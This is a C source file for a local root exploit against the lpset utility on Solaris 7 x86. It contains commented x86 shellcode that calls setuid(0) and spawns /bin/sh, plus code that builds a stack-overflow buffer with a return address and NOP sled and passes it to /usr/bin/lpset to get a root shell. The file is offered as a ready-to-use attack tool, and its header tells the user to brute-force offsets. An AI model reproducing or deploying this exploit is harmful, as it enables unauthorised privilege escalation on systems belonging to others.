/* private */
/*
 *  lpset local root stack overflow, solaris 7 x86
 *  by anathema <anathema@hack.co.za>
 *  
 *  Slightly different exploitation technique: we place the run of NOPs
 *  and the shellcode after the return address, there isn't room before.
 *
 *   offset 0 works for solaris 7, brute-force from -500 to +500 otherwise.
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define RETPOS		0x28

char c0de[] =
  /* main: */
  "\xeb\x0a"                        /* jmp ahead */
  /* a_lcall: */
  "\x9a\x78\x78\x78\x5c\x07\x78"    /* lcall */
  "\xc3"                            /* ret */
  /* jmp_0: */
  "\xeb\x05"                        /* jmp start_0 */
  /* ahead: */
  "\xe8\xf9\xff\xff\xff"            /* call jmp_0 */
  /* start_0: */  /* setuid(0); - yes, this is necessary */
  "\x5e"                            /* popl %esi */
  "\x2b\xc0"                        /* subl %eax, %eax */
  "\x88\x46\xf7"                    /* movb %al, 0xfffffff7(%esi) */
  "\x89\x46\xf2"                    /* movl %eax, 0xfffffff2(%esi) */
  "\x50"                            /* pushl %eax */
  "\xb0\x17"                        /* movb $0x17, %al */
  "\xe8\xe0\xff\xff\xff"            /* call a_lcall */
  "\xeb\x1f"                        /* jmp callz */
  /* start: */  /* execve /bin/sh */
  "\x5e"                            /* popl %esi */
  "\x8d\x1e"                        /* leal (%esi), %ebx */
  "\x89\x5e\x0b"                    /* movl %ebx, 0x0b(%esi) */
  "\x2b\xc0"                        /* subl %eax, %eax */
  "\x88\x46\x19"                    /* movb %al, 0x19(%esi) */
  "\x89\x46\x14"                    /* movl %eax, 0x14(%esi) */
  "\x89\x46\x0f"                    /* movl %eax, 0x0f(%esi) */
  "\x89\x46\x07"                    /* movl %eax, 0x07(%esi) */
  "\xb0\x3b"                        /* movb $0x3b, %al */
  "\x8d\x4e\x0b"                    /* leal 0x0b(%esi), %ecx */
  "\x51"                            /* pushl %ecx */
  "\x51"                            /* pushl %ecx */
  "\x53"                            /* pushl %ebx */
  "\x50"                            /* pushl %eax */
  "\xeb\x18"                        /* jmp lcall */
  /* callz: */
  "\xe8\xdc\xff\xff\xff"            /* call start */
  "\x2f\x62\x69\x6e\x2f\x73\x68"    /* /bin/sh */
  "\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03\x03"
  "\x9a\x04\x04\x04\x04\x07\x04";   /* lcall */

int
main(int argc, char **argv)
{
  u_char buf[1024]  = {0};
  u_long addr       = &addr;
  int ret = RETPOS, i = 0;

  if (argc > 1) addr += atoi(argv[1]);
  fprintf(stderr, "using addr 0x%lx\n", addr);

  /* [padding][addr][nop][shellcode] */
  memset(buf, 0x90, ret);

  buf[ret+0] = (addr & 0xff);
  buf[ret+1] = (addr >> 8) & 0xff;
  buf[ret+2] = (addr >> 16) & 0xff;
  buf[ret+3] = (addr >> 24) & 0xff;
  ret += 4;

  memset(buf + ret, 0x90, sizeof(buf) - ret);
  memcpy(buf + strlen(buf) - strlen(c0de), c0de, strlen(c0de));

  execl("/usr/bin/lpset", "lpset", "-n", "xfn", "-r", buf, "r00t", NULL);
}

/* EOF */
